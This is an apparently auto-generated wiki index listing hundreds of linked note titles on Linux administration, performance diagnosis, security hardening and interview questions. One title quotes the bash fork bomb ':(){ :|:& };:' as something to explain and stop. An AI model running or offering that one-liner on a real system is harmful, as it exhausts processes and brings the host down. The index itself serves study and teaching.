* [[Global LD_LIBRARY_PATH breaks system tools by shadowing core libraries]]
* [[In-place config edits without backup cause irrecoverable loss]]
* [[Inode exhaustion prevents file creation despite free disk space]]
* [[Modifying config files in-place without backup guarantees data loss]]
* [[Not checking disk space before large writes crashes services]]
* [[Root cause: config changes without backup lose original content]]
* [[Root cause: destructive commands on wrong target destroy data]]
* [[Root cause: running as root unnecessarily enables typo cascade]]
* [[Running as Root Directly Converts Typos Into Uncontained System Damage]]
* [[Running as root amplifies blast radius of operator error]]
* [[SIGTERM allows graceful shutdown; SIGKILL forces immediate termination]]
* [[Special permission bits require explicit leading octal digit in chmod]]
* [[Test fstab changes with mount -a before rebooting]]
* [[Typos in destructive commands cause irreversible data loss]]
* [[Unset shell variables in destructive commands expand to dangerous paths]]
* [[chmod 777 grants world-writable access to all files]]
* [[dd has no undo and no safety check; verify source and destination before running]]
* [[mkfs destroys a filesystem instantly with no confirmation or undo]]
* [[tcp_tw_recycle breaks NAT clients and was removed in Linux 4.12]]
!! MOC — other
Every atom extracted from a ''other'' source (252 total).
* [[%iowait is misleading without corroborating I/O latency data]]
* [[/etc is named "et cetera" — literally a junk drawer]]
* [[/proc exposes process details to unprivileged visibility by default]]
* [[/proc filesystem exposes detailed system and process state]]
* [[/proc/PID/io tracks disk I/O bytes; sample over time to identify trends]]
* [[/proc/PID/smaps shows which memory regions are consuming the most bytes]]
* [[/proc/[pid]/fd reveals all open file descriptors for a process]]
* [[/proc/sys allows live tuning; persist changes to /etc/sysctl.d/]]
* [[/tmp persistence varies by distribution — no guarantee across reboot]]
* [[A full filesystem makes the system unresponsive even though the kernel is running]]
* [[ACL debugging: overrides and masks silently restrict access]]
* [[ARP flush causes burst packet loss due to simultaneous re-resolution]]
* [[ARP neighbor states and cache refresh diagnostics]]
* [[Active swapping (si/so) is the definitive check for memory pressure]]
* [[Address Space Layout Randomization matured over 15 years of development]]
* [[Alpine and Ubuntu in containers are userspace differences, not OS differences]]
* [[Always establish baseline metrics before and after each tuning change]]
* [[Analyzing out-of-memory kills from kernel logs and cgroup limits]]
* [[AppArmor uses path-based rules instead of SELinux's label complexity]]
* [[Applying CIS benchmarks without review breaks production services]]
* [[Audit logs must be shipped off-host to remain trustworthy]]
* [[Audit mixed-distro fleets with Ansible to identify configuration drift]]
* [[Audit rule syntax errors disable all rules without warning]]
* [[Audit rules immutability via -e 2 prevents runtime tampering]]
* [[Audit rules that log everything create noise and hide security signals]]
* [[Average CPU utilization masks per-core saturation]]
* [[BIOS dominated firmware for 40 years before UEFI replacement]]
* [[BPF originated as in-kernel packet filtering and evolved into eBPF]]
* [[Breaking kernel panic reboot loops by halting instead of restarting]]
* [[CPU frequency scaling adds latency; servers lock frequency for consistency]]
* [[CPU steal time: >5% indicates hypervisor overcommitment; cannot fix from inside VM]]
* [[CPU% breakdown: us/sy/ni/id/wa/hi/si/st signal different bottlenecks]]
* [[CentOS 7 upgrade to AlmaLinux/Rocky uses automated elevation tooling]]
* [[Cgroups enforce resource limits via separate v1 hierarchy or unified v2 tree]]
* [[Check /proc/cpuinfo for CPU features and /sys for vulnerabilities]]
* [[Cloud-init standardizes provisioning across all distros]]
* [[Common PAM modules for authentication, policy, and hardening]]
* [[Common software packages have different names across distros]]
* [[Container OOM is a cgroup limit issue; kernel memory counts toward the container limit]]
* [[Containerized processes can swap silently within memory limits]]
* [[Containers are isolated processes, not lightweight VMs; understand the primitives]]
* [[Context switch costs 1–5 microseconds directly, 10–100 indirectly]]
* [[Copying hard-link backups creates new inodes per file]]
* [[Core dumps in containers are silently lost without filesystem configuration]]
* [[Core sysctl parameters control memory overcommit, swapping, reclaim, and OOM behavior]]
* [[Correlating metrics prevents misdiagnosis of performance bottlenecks]]
* [[Cross-distro package installation requires conditional detection]]
* [[D-state processes cannot be interrupted, even by kill -9]]
* [[Debian family prioritizes stability and community freedom]]
* [[Debugging systemd services and setting resource limits via cgroups]]
* [[Detecting System Compromise: Rootkits and Binary Integrity]]
* [[Detecting and recovering from corrupted systemd journal files]]
* [[Device names are unstable; fstab must use UUIDs, not /dev/sdX]]
* [[Diagnose disk I/O bottlenecks via process activity, latency, and RAID status]]
* [[Diagnosing and recovering from a full /boot partition]]
* [[Diagnosing and responding to swap storms]]
* [[Diagnosing permission failures in systemd services]]
* [[Direct memory access was a foundational rootkit vector]]
* [[Disabling SELinux to fix startup errors trades security for convenience]]
* [[Distro choice is a 5-10 year infrastructure commitment]]
* [[Docker exit codes encode signal numbers]]
* [[Emergency recovery from sudoers syntax errors and prevention]]
* [[Emergency root access recovery via GRUB single-user and cloud recovery]]
* [[Exit code 137 signals SIGKILL with no graceful shutdown]]
* [[Extended Linux uptime is now a liability, not an achievement]]
* [[Fail2ban's single-threaded design can become a bottleneck under load]]
* [[Fedora serves as upstream testing ground for RHEL features]]
* [[Filesystem mount options control durability guarantees; databases need explicit sync or journal]]
* [[Find high-memory processes by RSS, PSS, or /proc parsing]]
* [[First-contact reconnaissance of an unknown server]]
* [[Four Linux access-control systems]]
* [[Full filesystem SELinux relabel during business hours causes extended downtime]]
* [[GNU ls accepts 60+ options, most users know only five]]
* [[Hard links and soft links have different survival semantics across filesystem boundaries]]
* [[Hardened sysctl settings break containerized workloads without testing]]
* [[High buff/cache is expected behavior; drop caches only for benchmarking]]
* [[Homebrew on Linux installs to home directory without sudo]]
* [[How kernel permission checks work and when to use capabilities]]
* [[Huge pages reduce TLB misses by two orders of magnitude]]
* [[Hypervisor steal time is invisible to application profilers]]
* [[I/O schedulers evolved from disk optimization to irrelevance for SSDs]]
* [[IPMI kernel modules aren't loaded by default; causes device not found]]
* [[Identify your Linux distro programmatically]]
* [[Immutable distros represent a new Linux paradigm]]
* [[Incomplete firewall rules break monitoring, backups, and infrastructure]]
* [[Independent distros offer specialized niches and philosophies]]
* [[Indiscriminately removing SUID breaks essential system functions]]
* [[Infrastructure problems dwarf code optimization]]
* [[Inode exhaustion evades block-only monitoring]]
* [[Investigating unexpected system reboots via journalctl]]
* [[Kdump crashkernel reservation sizing and verification]]
* [[Kernel checks UID 0 for root, not the account name]]
* [[Kernel lockdown LSM prevents root from modifying the running kernel]]
* [[Kernel module debugging workflow and inspection commands]]
* [[Kernel routing state is ephemeral; configuration must be persisted separately]]
* [[LFCS exam is a hands-on, time-constrained system administration test]]
* [[LPIC-1 certification tests Linux theory with precision and distro neutrality]]
* [[LVM logical volumes and filesystems are separate layers; both must be extended]]
* [[LVM physical extents must be available; verify free space before extending volumes]]
* [[Linux CPU scheduler has been rewritten four times]]
* [[Linux IPMI kernel driver loads BMC interface as /dev/ipmi0 character device]]
* [[Linux Mint's dominance stems from one desktop choice]]
* [[Linux authentication flows through PAM, NSS, and SSSD to identity providers]]
* [[Linux bonding driver offers seven modes; only mode 4 is LACP]]
* [[Linux bonding mode selection: active-backup for simplicity, 802.3ad/LACP for aggregate throughput]]
* [[Linux boot proceeds through six sequential stages, each handing off to the next]]
* [[Linux conntrack table exhaustion silently drops connections]]
* [[Linux decomposes into kernel, userspace, and distribution packaging]]
* [[Linux load average includes blocked I/O, not just runnable processes]]
* [[Linux logging is a layered system with interdependent components]]
* [[Linux namespaces isolate process visibility across seven distinct resource types]]
* [[Linux overcommit modes trade off flexibility for predictability]]
* [[Linux page cache inflates 'used' memory; 'available' is the real metric]]
* [[Linux page table hierarchy evolved from three to five levels for address space growth]]
* [[Linux process state codes and their operational meaning]]
* [[Linux terminology overloads kernel, userspace, and distro into one word]]
* [[Load average is a blunt instrument without resource decomposition]]
* [[Load average is processes in runnable or uninterruptible sleep state]]
* [[Locked account diagnosis: permission checks in order of precedence]]
* [[Match distro choice to workload requirements]]
* [[MemAvailable is the only meaningful memory saturation metric]]
* [[Memory oversubscription in hypervisors causes host-level paging invisible to guests]]
* [[Memory pressure masquerades as high CPU]]
* [[Methodology matters more than tools in performance debugging]]
* [[Modern Linux supports 4 million PIDs via kernel.pid_max tuning]]
* [[Monitor and tune audit backlog to prevent event loss]]
* [[Mounting attaches a filesystem to the VFS directory tree]]
* [[Multi-homed hosts need arp_ignore and arp_announce tuning]]
* [[NFS UID mapping issues and idmapd configuration diagnosis]]
* [[NUMA misconfiguration on multi-socket servers causes 30–40% throughput loss]]
* [[NX-OS modular architecture acknowledged IOS monolithic limitations]]
* [[Network problems manifest as dropped packets, retransmits, TIME_WAIT buildup]]
* [[Nice values control CPU scheduling priority from -20 to +19]]
* [[OS patching on cordoned nodes requires reboot awareness]]
* [[Operational shortcuts in Linux escalate to severe incidents]]
* [[Orphans are adopted by init; zombies are dead and unconditionally unkillable]]
* [[Overloading the nobody user violates least-privilege isolation]]
* [[Overly permissive file permissions expose data to every user on the system]]
* [[Overly strict password rules drive users to weaker patterns]]
* [[PAM modular framework: service config, types, and controls]]
* [[PSI metrics quantify memory pressure before performance collapse]]
* [[Package manager dependency resolution strategies differ between apt and dnf]]
* [[Page cache can be safely dropped for benchmarking]]
* [[Page cache is meant to consume free memory; dropping it harms production]]
* [[Password aging, complexity, and credential lifecycle policies]]
* [[Pending signals are delivered in numeric order, not queued]]
* [[Per-core imbalance causes slow performance despite moderate average CPU]]
* [[Performance problems are often caused by recent changes]]
* [[Performance triage: uptime → vmstat → tool selection]]
* [[Permission auditing: finding ownership gaps and security risks]]
* [[Permission-setting anti-patterns]]
* [[PowerShell on Linux enables cross-platform module access]]
* [[Proactive kernel health monitoring via cron-scheduled alerts]]
* [[Process groups and sessions organize signals across process trees]]
* [[Process state is where production debugging begins]]
* [[Profiling Without Debug Symbols]]
* [[Program, process, and service are three distinct layers]]
* [[Protecting all processes from OOM killer disables the safety mechanism]]
* [[RHEL-to-Ubuntu migration requires mapping tools and config locations]]
* [[Recovering from catastrophic permission damage caused by recursive chmod]]
* [[Recovering from failed kernel update via GRUB rollback]]
* [[Recovery procedure after self-inflicted breakage on unfamiliar systems]]
* [[Regaining access to a server with lost credentials]]
* [[Remounting read-only is a safe first response to filesystem errors]]
* [[Restrict SSH access only after verifying alternative access paths exist]]
* [[SAR provides time-machine access to historical performance data]]
* [[SELinux was created by the NSA and released as open source]]
* [[SSH key permissions are non-negotiable and security-critical]]
* [[SSSD logging requires explicit debug level configuration]]
* [[SUSE family specializes in enterprise and snapshot-based updates]]
* [[Senior incident response: diagnose before treating]]
* [[Serial console configuration prevents blind installations]]
* [[Server tuning: connection limits, socket buffers, congestion control]]
* [[Service account setup isolates privilege and protects secrets]]
* [[Signals are notifications with three possible outcomes per process]]
* [[Signals are the kernel's mechanism for asynchronous process control]]
* [[Stable device references survive reboot via UUID, label, or WWN—never rely on /dev/sdX]]
* [[Standardize distro families by workload role, not globally]]
* [[Standardized user onboarding with scripted account creation and setup]]
* [[Storage I/O errors masquerade as application problems; check dmesg and SMART first]]
* [[Storage stack: five transformations from raw disk to usable directory]]
* [[Symlinks consume inodes independent of target size]]
* [[Syscall-level audit generates impractical data volumes]]
* [[Sysctl tuning requires baseline measurement and validation]]
* [[System DNS configuration must be set at the config file level to persist]]
* [[System log file paths differ significantly across Linux distros]]
* [[Systematic discovery of service interdependencies]]
* [[Systematic layer-by-layer troubleshooting isolates network failures methodically]]
* [[Systematic permission debugging from filesystem root to target file]]
* [[Systemd hardening directives enforce permission and filesystem isolation]]
* [[Systemd units separate boot-time enablement from runtime control]]
* [[Systemd units: enable and start are orthogonal]]
* [[The 60-second performance triage checklist covers all four resources]]
* [[The Four Resources framework organizes performance bottlenecks]]
* [[The Linux firewall stack: netfilter kernel framework and userspace tools]]
* [[The find -perm flag syntax requires understanding bit-matching semantics]]
* [[The iproute2 toolkit is the modern replacement for deprecated net-tools]]
* [[The kernel is the privilege boundary; syscalls are the API]]
* [[The signal escalation sequence and critical process lifecycle patterns]]
* [[The sticky bit originally prevented memory paging, now prevents deletion]]
* [[Three heuristics for OOM diagnosis and recovery]]
* [[Transient performance spikes are invisible without historical metrics]]
* [[Transparent Huge Pages cause latency in memory-sensitive databases]]
* [[Use /proc/PID/stack and wchan to see what syscall a process is blocked on]]
* [[Use /proc/net/tcp and ss to see a process's active network connections]]
* [[User accounts can be service accounts with external dependencies]]
* [[Using UUIDs in fstab instead of device paths prevents mount failures across disk changes]]
* [[Using system call tracing to debug when application logs are unhelpful]]
* [[Validate fstab syntax changes before reboot to avoid emergency mode]]
* [[Verify the purpose of cron jobs before disabling them]]
* [[Verify which config file the process actually reads]]
* [[Wolfi is a Linux distribution designed exclusively for containers]]
* [[XFS cannot be shrunk; ext4 can, but XFS has no reduction operation]]
* [[Zombies cannot be killed; fix or kill the parent instead]]
* [[auditd operates at kernel level with rule-based logging]]
* [[cgroups v2 atomic kill makes container cleanup race-free]]
* [[cgroups: Google's solution for resource isolation on shared fleets]]
* [[chmod 777 persists in tutorials despite being almost never correct]]
* [[dmesg contains the definitive OOM killer diagnostic information]]
* [[docker run instantiates five namespaces and a cgroup in ~100ms]]
* [[eBPF Is the Most Powerful Forensic Tool on Modern Linux]]
* [[eBPF reveals kernel-internal latencies with nanosecond precision]]
* [[eBPF tracing capabilities: CAP_BPF and CAP_PERFMON vs CAP_SYS_ADMIN]]
* [[ext4 health checks use tune2fs; XFS checks can run mounted]]
* [[ext4 journal recovery leaves orphaned inodes]]
* [[fork() is the Unix process creation primitive]]
* [[ifconfig deprecated in 2009 but remained default until ~2017]]
* [[iostat await and %util reveal device saturation and latency]]
* [[ip command: modern Linux network configuration (iproute2)]]
* [[logrotate was invented to solve log files filling disks]]
* [[lsof -i shows open network connections at process level]]
* [[nsenter joins container namespaces from host for tool-free debugging]]
* [[perf + flamegraphs: CPU profiling and hotspot identification]]
* [[perf answers CPU-bound vs I/O-bound questions that logs cannot]]
* [[perf record at 99Hz is safe for production; higher frequencies cause overhead]]
* [[perf samples at 4,000 Hz by default; production uses 99 Hz]]
* [[ping was written in one evening by Mike Muuss in 1983]]
* [[resolv.conf configures which resolvers to use and how to search domains]]
* [[ss is 10× faster than netstat on busy servers]]
* [[su vs sudo: authentication source and shell behavior]]
* [[sudo logging to syslog enables post-incident forensics and audit]]
* [[sudo was created at SUNY Buffalo in 1980, syntax is notoriously complex]]
* [[sudoers syntax: policies, patterns, and visudo safety]]
* [[systemd as PID 1 controls service lifecycle and resource management on all major Linux distributions]]
* [[systemd services inherit isolated environment from startup files]]
* [[systemd standardizes service and process management across distros]]
* [[tmux displaced Screen as the standard terminal multiplexer]]
* [[top memory line: ignore 'free', read 'available' and 'buff/cache']]
* [[vm.min_free_kbytes must balance deadlock risk against waste]]
* [[vm.swappiness controls cache vs. swap priority, not swap threshold]]
* [[vmstat columns require correct interpretation to diagnose bottlenecks]]
* [[wall broadcasts messages to all logged-in terminals]]
!! MOC — confidence high
Atoms with confidence in the ''high'' band (1630 total).
* [["No space left on device" may mean inode exhaustion, not full blocks]]
* [[%iowait is misleading without corroborating I/O latency data]]
* [[/etc directory purpose and conventions]]
* [[/etc is named "et cetera" — literally a junk drawer]]
* [[/etc/skel — skeleton directory for new user home setup]]
* [[/proc exposes process details to unprivileged visibility by default]]
* [[/proc filesystem exposes detailed system and process state]]
* [[/proc/PID/smaps shows which memory regions are consuming the most bytes]]
* [[/proc/[pid]/fd reveals all open file descriptors for a process]]
* [[/proc/sys allows live tuning; persist changes to /etc/sysctl.d/]]
* [[/tmp persistence varies by distribution — no guarantee across reboot]]
* [[A Kubernetes node on AWS shows 8% `st` (steal time) in `top` but all pods report normal…]]
* [[A Linux server is slow. Where do you start?]]
* [[A full filesystem makes the system unresponsive even though the kernel is running]]
* [[A junior engineer sees 128 MB free in `top` and panics that the server is out of memory…]]
* [[A project manager needs a new SQL Server. What do you ask her/his?]]
* [[A server shows load average of 24 on a 4-core system but CPU utilization is only 15%. W…]]
* [[A service starts manually but fails under systemd. What are the possible causes?]]
* [[A system has run queue length = 1, load avg = 40, CPU idle = 80%. Explain precisely wha…]]
* [[A systemd unit shows "active (running)" but the actual service process is dead. How?]]
* [[A user accidentally executed the following chmod -x $(which chmod). How to fix it?]]
* [[ACL debugging: overrides and masks silently restrict access]]
* [[ARP flush causes burst packet loss due to simultaneous re-resolution]]
* [[ARP neighbor states and cache refresh diagnostics]]
* [[Active swapping (si/so) is the definitive check for memory pressure]]
* [[Address Space Layout Randomization matured over 15 years of development]]
* [[Alpine and Ubuntu in containers are userspace differences, not OS differences]]
* [[Alpine's musl libc breaks glibc-compiled binaries]]
* [[Always establish baseline metrics before and after each tuning change]]
* [[An application cannot read files in its data directory due to SELinux. How do you diagn…]]
* [[An application encounters some performance issues. You should to find the code we have …]]
* [[Analyzing out-of-memory kills from kernel logs and cgroup limits]]
* [[AppArmor uses path-based rules instead of SELinux's label complexity]]
* [[AppArmor: path-based MAC on Debian, Ubuntu, and SUSE]]
* [[Applying CIS benchmarks without review breaks production services]]
* [[Are the changes you make to kernel parameters in a container, affects also the kernel p…]]
* [[Are wildcards implemented in user or kernel space?]]
* [[Audit logs must be shipped off-host to remain trustworthy]]
* [[Audit rule syntax errors disable all rules without warning]]
* [[Audit rules immutability via -e 2 prevents runtime tampering]]
* [[Auditing SUID and SGID binaries for privilege escalation]]
* [[Average CPU utilization masks per-core saturation]]
* [[BIOS dominated firmware for 40 years before UEFI replacement]]
* [[Bind mount vs symlink?]]
* [[Breaking kernel panic reboot loops by halting instead of restarting]]
* [[CPU frequency scaling adds latency; servers lock frequency for consistency]]
* [[CPU steal time: >5% indicates hypervisor overcommitment; cannot fix from inside VM]]
* [[CPU% breakdown: us/sy/ni/id/wa/hi/si/st signal different bottlenecks]]
* [[Can you check what type of filesystem is used in /home?]]
* [[Can you describe how processes are being created?]]
* [[Can you explain how network process/connection is established and how it's terminated?]]
* [[Can you give a particular example when is indicated to use `nobody` account? Tell me th…]]
* [[Can you have more than one default gateway in a given system?]]
* [[Capabilities vs setuid?]]
* [[Cgroups enforce resource limits via separate v1 hierarchy or unified v2 tree]]
* [[Check /proc/cpuinfo for CPU features and /sys for vulnerabilities]]
* [[Check disk/filesystem usage with df and du]]
* [[Container OOM is a cgroup limit issue; kernel memory counts toward the container limit]]
* [[Container network namespace: isolation and connectivity model]]
* [[Containerized processes can swap silently within memory limits]]
* [[Containers are isolated processes, not lightweight VMs; understand the primitives]]
* [[Containers need a proper init (tini/dumb-init) for PID 1]]
* [[Containers vs. VMs: kernel sharing vs. hardware virtualization]]
* [[Context switch costs 1–5 microseconds directly, 10–100 indirectly]]
* [[Copying hard-link backups creates new inodes per file]]
* [[Core dumps in containers are silently lost without filesystem configuration]]
* [[Core sysctl parameters control memory overcommit, swapping, reclaim, and OOM behavior]]
* [[Correlating metrics prevents misdiagnosis of performance bottlenecks]]
* [[Create a file with 100 lines with random values.]]
* [[Cross-distro package installation requires conditional detection]]
* [[D-state processes cannot be interrupted, even by kill -9]]
* [[Debugging systemd services and setting resource limits via cgroups]]
* [[Defense in depth: layered security controls]]
* [[Deleted open files hold disk space until last fd closes]]
* [[Demonstrate Linux output redirection]]
* [[Demonstrate Linux stderr output redirection]]
* [[Demonstrate Linux stderr to stdout redirection]]
* [[Demonstrate one way to encode and decode data in Linux]]
* [[Describe how to make a certain process/app a service]]
* [[Describe shortly what happens when you execute a command in the shell]]
* [[Describe start-up configuration files and directory in BSD systems.]]
* [[Describe the Linux storage stack from application down to hardware.]]
* [[Describe the TCP three-way handshake.]]
* [[Describe the fork-exec-wait process lifecycle in Linux.]]
* [[Describe the process of extending a filesystem/disk]]
* [[Describe the simplified boot sequence from firmware to running services in a systemd-ba…]]
* [[Describe three different ways to remove a file or directory]]
* [[Detecting System Compromise: Rootkits and Binary Integrity]]
* [[Developer added cron job which generate massive log files. How do you prevent them from…]]
* [[Device name confusion in disk operations causes data loss]]
* [[Device names are unstable; fstab must use UUIDs, not /dev/sdX]]
* [[Diagnosing and recovering from a full /boot partition]]
* [[Diagnosing and responding to swap storms]]
* [[Diagnosing disk I/O bottlenecks with iostat and iotop]]
* [[Diagnosing permission failures in systemd services]]
* [[Difference between SNAT, DNAT, and masquerade?]]
* [[Difference between `nohup`, `disown`, and `&`. What happens when using all together?]]
* [[Direct memory access was a foundational rootkit vector]]
* [[Disabling SELinux to fix startup errors trades security for convenience]]
* [[Do you have experience with hardening servers? Can you describe the process?]]
* [[Do you have experience with packaging (building packages)?]]
* [[Do you know how to create a new user without using adduser/useradd command?]]
* [[Docker exit codes encode signal numbers]]
* [[Docker volumes: persistent storage outside the container layer]]
* [[Emergency recovery from sudoers syntax errors and prevention]]
* [[Emergency root access recovery via GRUB single-user and cloud recovery]]
* [[Every command fails with `command not found`. How to trace the source of the error and …]]
* [[Every couple of days, a certain process stops running. How can you look into why it's h…]]
* [[Execute combine multiple shell commands in one line.]]
* [[Exit code 137 signals SIGKILL with no graceful shutdown]]
* [[Explain /proc vs /sys vs /dev — what kind of tuning would you do in each?]]
* [[Explain Access Control Lists (ACLs) with getfacl and setfacl]]
* [[Explain AppArmor profiles and enforcement modes]]
* [[Explain Kernel Threads]]
* [[Explain Linux I/O redirection]]
* [[Explain Process Descriptor and Task Structure]]
* [[Explain RSS vs VSZ vs PSS.]]
* [[Explain `:(){ :|:& };:` and how stop this code if you are already logged into a system?]]
* [[Explain a real scenario where lowering swappiness makes performance worse.]]
* [[Explain differences between `2>&-`, `2>/dev/null`, `|&`, `&>/dev/null`, and `>/dev/null…]]
* [[Explain dirty pages and writeback in Linux]]
* [[Explain each field in the output of `ls -l` command]]
* [[Explain environment variables. How do you list all of them?]]
* [[Explain in a few points the boot process of the Linux system.]]
* [[Explain interrupts and interrupt handlers in Linux.]]
* [[Explain piping. How do you perform piping?]]
* [[Explain the SELinux context format and how type enforcement works in targeted policy.]]
* [[Explain the difference between "Load Average" and "CPU Utilization."]]
* [[Explain the difference between symmetric and asymmetric encryption.]]
* [[Explain the difference between systemd inhibitors, systemd-inhibit, and how to prevent …]]
* [[Explain the difference between ulimit -n and fs.file-max — how do they interact?]]
* [[Explain the differences among the following umask values: 000, 002, 022, 027, 077, and …]]
* [[Explain the exec() system call]]
* [[Explain the file content commands along with the description.]]
* [[Explain the fork() system call]]
* [[Explain the pipe() system call. What does it used for?]]
* [[Explain the purpose of dmesg vs journalctl.]]
* [[Explain what are ACLs. For what use cases would you recommend to use them?]]
* [[Explain what each of the following commands does and give an example on how to use it:]]
* [[Explain what each of the following commands does:]]
* [[Explain what is setgid and setuid]]
* [[Explain what will ls [0-5] match]]
* [[Explain what will ls [XYZ] match]]
* [[Extended Linux uptime is now a liability, not an achievement]]
* [[Fail2ban's single-threaded design can become a bottleneck under load]]
* [[Fedora serves as upstream testing ground for RHEL features]]
* [[File descriptor in Linux/Unix]]
* [[Filesystem mount options control durability guarantees; databases need explicit sync or journal]]
* [[Filesystem reports clean, RAID reports clean, but application data is corrupted. How is…]]
* [[Find all the files which end with '.yml' and replace the number 1 in 2 in each file]]
* [[Find high-memory processes by RSS, PSS, or /proc parsing]]
* [[Find which package owns a file on Linux]]
* [[Find which process is listening on a port]]
* [[First-contact reconnaissance of an unknown server]]
* [[Fix the following commands:]]
* [[Four Linux access-control systems]]
* [[Full filesystem SELinux relabel during business hours causes extended downtime]]
* [[GNU ls accepts 60+ options, most users know only five]]
* [[Getting `Too many Open files` error for Postgres. How to resolve it?]]
* [[Give some examples of Linux distribution. What is your favorite distro and why?]]
* [[Global LD_LIBRARY_PATH breaks system tools by shadowing core libraries]]
* [[Hard links and soft links have different survival semantics across filesystem boundaries]]
* [[Hard links vs symbolic links: inode perspective]]
* [[High buff/cache is expected behavior; drop caches only for benchmarking]]
* [[High load average but low CPU usage - why?]]
* [[Homebrew on Linux installs to home directory without sudo]]
* [[How `cd -` works? How does it knows the previous location?]]
* [[How a program executes a system call?]]
* [[How a user process performs a privileged operation, such as reading from the disk?]]
* [[How and why Linux daemons drop privileges? Why some daemons need root permissions to st…]]
* [[How can I sync two local directories?]]
* [[How can we modify the network connection via `nmcli` command, to use `8.8.8.8` as a DNS…]]
* [[How can you check what is the path of a certain command?]]
* [[How can you detect if you're inside a container?]]
* [[How can you find how much memory a specific process consumes?]]
* [[How can you print information on the BIOS, motherboard, processor and RAM?]]
* [[How can you send an HTTP request from your shell?]]
* [[How can you turn your Linux server into a router?]]
* [[How could you modify a text file without invoking a text editor?]]
* [[How do I grep recursively?]]
* [[How do LVM snapshots work and when would you use them?]]
* [[How do RHEL and Ubuntu differ in their default security stack?]]
* [[How do jdupes, fdupes, and rdfind compare for duplicate detection?]]
* [[How do networking stacks differ across Linux distros?]]
* [[How do package management commands differ across distros?]]
* [[How do system log locations differ between Debian and RHEL?]]
* [[How do you analyze a kernel crash dump using the crash utility, and how do you read a b…]]
* [[How do you change file ownership on Linux?]]
* [[How do you change file permissions on Linux?]]
* [[How do you change the I/O scheduler for a block device?]]
* [[How do you change the owner of a file in Linux?]]
* [[How do you change/set the password of a user?]]
* [[How do you check TCP connection statistics on Linux?]]
* [[How do you check and change the I/O scheduler for a block device, and which scheduler i…]]
* [[How do you check per-process CPU, memory, and I/O usage on Linux?]]
* [[How do you check the current SELinux mode?]]
* [[How do you check why a service failed?]]
* [[How do you configure PAM to enforce password complexity and lock accounts after failed …]]
* [[How do you configure auditd to monitor changes to critical system files?]]
* [[How do you configure kdump for remote crash dump storage, and what does the dump level …]]
* [[How do you count occurrences of a word in a file using command-line tools?]]
* [[How do you create a custom SELinux policy module to allow a specific denied action?]]
* [[How do you create a filesystem on a partition, and what precaution should you take?]]
* [[How do you create a new resource in Kubernetes?]]
* [[How do you create a private key for a CA (certificate authority)?]]
* [[How do you create a public key for a CA (certificate authority)?]]
* [[How do you create a shortcut for a complex command in Bash?]]
* [[How do you create a virtual Ethernet pair (veth)?]]
* [[How do you create an LVM logical volume?]]
* [[How do you create an empty file or update its timestamp?]]
* [[How do you create users? Where user information is stored?]]
* [[How do you debug a hung process?]]
* [[How do you debug a service that won't start?]]
* [[How do you debug boot failures remotely?]]
* [[How do you define a Bash array?]]
* [[How do you define a Bash associative array?]]
* [[How do you delete lines with sed?]]
* [[How do you determine the appropriate amount of resources (CPU, RAM, storage) for a new …]]
* [[How do you diagnose a hung NFS mount on a Linux client?]]
* [[How do you diagnose a stuck process?]]
* [[How do you diagnose and recover from a full filesystem?]]
* [[How do you display the inode number of a file?]]
* [[How do you ensure a process survives terminal logout?]]
* [[How do you enter GRUB rescue mode?]]
* [[How do you find a text string in files on Linux?]]
* [[How do you find all processes owned by a specific user in Linux?]]
* [[How do you find out what command a running process was started with?]]
* [[How do you find out which Kernel version your system is using?]]
* [[How do you find the UUID of a block device?]]
* [[How do you find the open file descriptors and file descriptor count for a running process?]]
* [[How do you find which directories are consuming the most disk space?]]
* [[How do you find which directory is consuming the most inodes on a filesystem?]]
* [[How do you find which package provides a file on Debian?]]
* [[How do you find which processes are preventing a filesystem from being unmounted?]]
* [[How do you get a list of logged-in users?]]
* [[How do you get help on the command line?]]
* [[How do you handle mixed-distro fleets in Ansible?]]
* [[How do you harden SSH?]]
* [[How do you identify and resolve performance bottlenecks in a data center?]]
* [[How do you implement least privilege in cloud IAM?]]
* [[How do you interpret load average?]]
* [[How do you kill a process in D state?]]
* [[How do you list active systemd timers?]]
* [[How do you list all files, including hidden ones?]]
* [[How do you list all installed packages on Debian/Ubuntu?]]
* [[How do you list all installed packages on RHEL/Fedora?]]
* [[How do you list the content of a package without actually installing it?]]
* [[How do you lock a user account?]]
* [[How do you move up one directory level?]]
* [[How do you override part of a unit file without modifying the original?]]
* [[How do you pass kernel boot parameters?]]
* [[How do you perform a basic sed substitution?]]
* [[How do you perform server OS installation and configuration?]]
* [[How do you persist journald logs across reboots?]]
* [[How do you persistently set a static IP on RHEL 9?]]
* [[How do you quickly check the status of LVM physical volumes, volume groups, and logical…]]
* [[How do you rebuild an RPM package?]]
* [[How do you recover GRUB when the system won't boot?]]
* [[How do you recover a deleted file still held open by a process?]]
* [[How do you recover a system where /etc is filled and / is read-only?]]
* [[How do you recover files from a failed drive using SnapRAID?]]
* [[How do you regenerate the initramfs on RHEL/Fedora vs Debian/Ubuntu?]]
* [[How do you run command every time a file is modified?]]
* [[How do you safely expand a filesystem online?]]
* [[How do you safely modify vendor unit files?]]
* [[How do you safely update the kernel in production with minimal risk?]]
* [[How do you schedule tasks periodically?]]
* [[How do you search for a specific string within a file?]]
* [[How do you send a message to syslog from the command line?]]
* [[How do you set a capability on a file?]]
* [[How do you set a default ACL on a directory?]]
* [[How do you set the default systemd target?]]
* [[How do you spin down idle drives to save power, and which tools handle it?]]
* [[How do you suspend a running foreground process and then resume it in the background?]]
* [[How do you temporarily change SELinux mode?]]
* [[How do you trace a system call in Linux? Explain the possible methods.]]
* [[How do you trace system calls?]]
* [[How do you troubleshoot a Linux system that's acting slow?]]
* [[How do you view kernel messages with human-readable timestamps and filter for errors?]]
* [[How do you view only error-level journal entries?]]
* [[How do you view only the logs for a specific systemd service using journalctl?]]
* [[How do you view the first 10 lines of a file?]]
* [[How do you view the last 10 lines of a file?]]
* [[How do you view the process tree showing parent-child relationships?]]
* [[How does "Sticky Bit" work on a directory?]]
* [[How does CentOS Stream differ from the old CentOS Linux?]]
* [[How does Debian name its releases?]]
* [[How does GPG key verification work for packages?]]
* [[How does Linux boot, end to end?]]
* [[How does Linux handle deleted-but-open files?]]
* [[How does Ubuntu version numbering work?]]
* [[How does `find -exec` work?]]
* [[How does chmod octal notation work?]]
* [[How does chmod symbolic notation work?]]
* [[How does high `wa` (I/O wait) on a container host relate to container I/O throttling?]]
* [[How does systemd enforce resource limits on services?]]
* [[How does systemd integrate with cgroups?]]
* [[How does the sticky bit work? The `SUID/GUID` is the same?]]
* [[How is a user’s default group determined? How would you change it?]]
* [[How kernel permission checks work and when to use capabilities]]
* [[How many lines of code are in a modern Linux kernel?]]
